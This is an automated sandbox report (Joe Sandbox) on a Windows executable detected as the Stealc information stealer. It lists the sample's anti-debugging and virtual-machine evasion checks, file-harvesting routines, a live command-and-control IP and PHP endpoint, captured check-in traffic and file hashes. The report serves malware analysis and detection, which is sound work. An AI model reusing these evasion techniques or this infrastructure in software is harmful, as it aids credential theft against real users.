Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF03BB second address: 4EF03DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F72FCC0D44Fh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF03DB second address: 4EF03F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055D6A second address: 1055D74 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72FCC0D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EA1BA2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EA1ACC instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00C538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C54910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C54910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C4DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00C4E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C54570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00C54570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00C4ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C53EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00C53EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C4F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C4BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C4DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C41160 GetSystemInfo,ExitProcess,

0_2_00C41160

Source: file.exe, file.exe, 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1702489973.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702489973.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13346
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13343
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13357
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13365
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13397

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C445C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00C445C0

Source: C:\Users\user\Desktop\file.exe

0_2_00C59860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C59750 mov eax, dword ptr fs:[00000030h]

0_2_00C59750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C578E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00C578E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7260, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C59600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00C59600

Source: file.exe, 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Program Manager
Source: file.exe	Binary or memory string: Y#Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00C57B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C57980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00C57980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C57850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00C57850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C57A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00C57A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1662202182.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1662202182.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php#	19%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phps	17%	Virustotal		Browse
http://185.215.113.37/ws	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37O	file.exe, 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1702489973.000000000087E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php&8	file.exe, 00000000.00000002.1702489973.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpDWF	file.exe, 00000000.00000002.1702489973.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1702489973.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php#	file.exe, 00000000.00000002.1702489973.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phps	file.exe, 00000000.00000002.1702489973.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522624
Start date and time:	2024-09-30 13:10:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948735669322834
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'867'776 bytes
MD5:	bb08552092b4a0fe9610493efde4ddfc
SHA1:	e4bd47f98aa7e1d41c6c2265ca45d606b49ba023
SHA256:	094b280b1e8ecb2574307e5f44d1678b3abe07c71ebfe779a7dd914bf789292b
SHA512:	628ee5f98b6707073e80752df9a8b2d628dde1deb9ae7a0c712880d0b3530b390d98c3a049f4d3cb0d0d465ad2b42664829c014f80959df5e19b5ec391b25edb
SSDEEP:	49152:9s1ARbBuUn5UYkPP2TFy7f3ocwCAtuWHkKaf:m1AhBuUhkP+fZC/WETf
TLSH:	858533EDB382DBA8CDD4A6F5469C1D40FEDA6213DA13973A470E93013E3763826853B5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F72FD26F3DAh
divps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F72FD2713D5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a84b16048fba261587a0ec40c9c06fce	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a5000	0x200	580dc5fb122f25d12a3156e521a31420	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nouqlerf	0x503000	0x1a2000	0x1a1e00	401bf41b3971cf06f9d15484ae4b4cc3	False	0.9947534961112773	data	7.953428476394443	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fksviyxr	0x6a5000	0x1000	0x400	429b9ae4f83436d1999e8fce4a3380d8	False	0.7353515625	data	5.9050409701924025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	2f6861d2b80c6d2cb11378982e4f20db	False	0.06112132352941176	DOS executable (COM)	0.7575021689405903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T13:11:02.926589+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 13:11:01.988337040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 13:11:01.993266106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 13:11:01.993345022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 13:11:01.993458033 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 13:11:01.998192072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 13:11:02.694272995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 13:11:02.694339991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 13:11:02.696522951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 13:11:02.701349020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 13:11:02.926529884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 13:11:02.926589012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 13:11:05.703598976 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:11:01.993458033 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:11:02.694272995 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:11:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
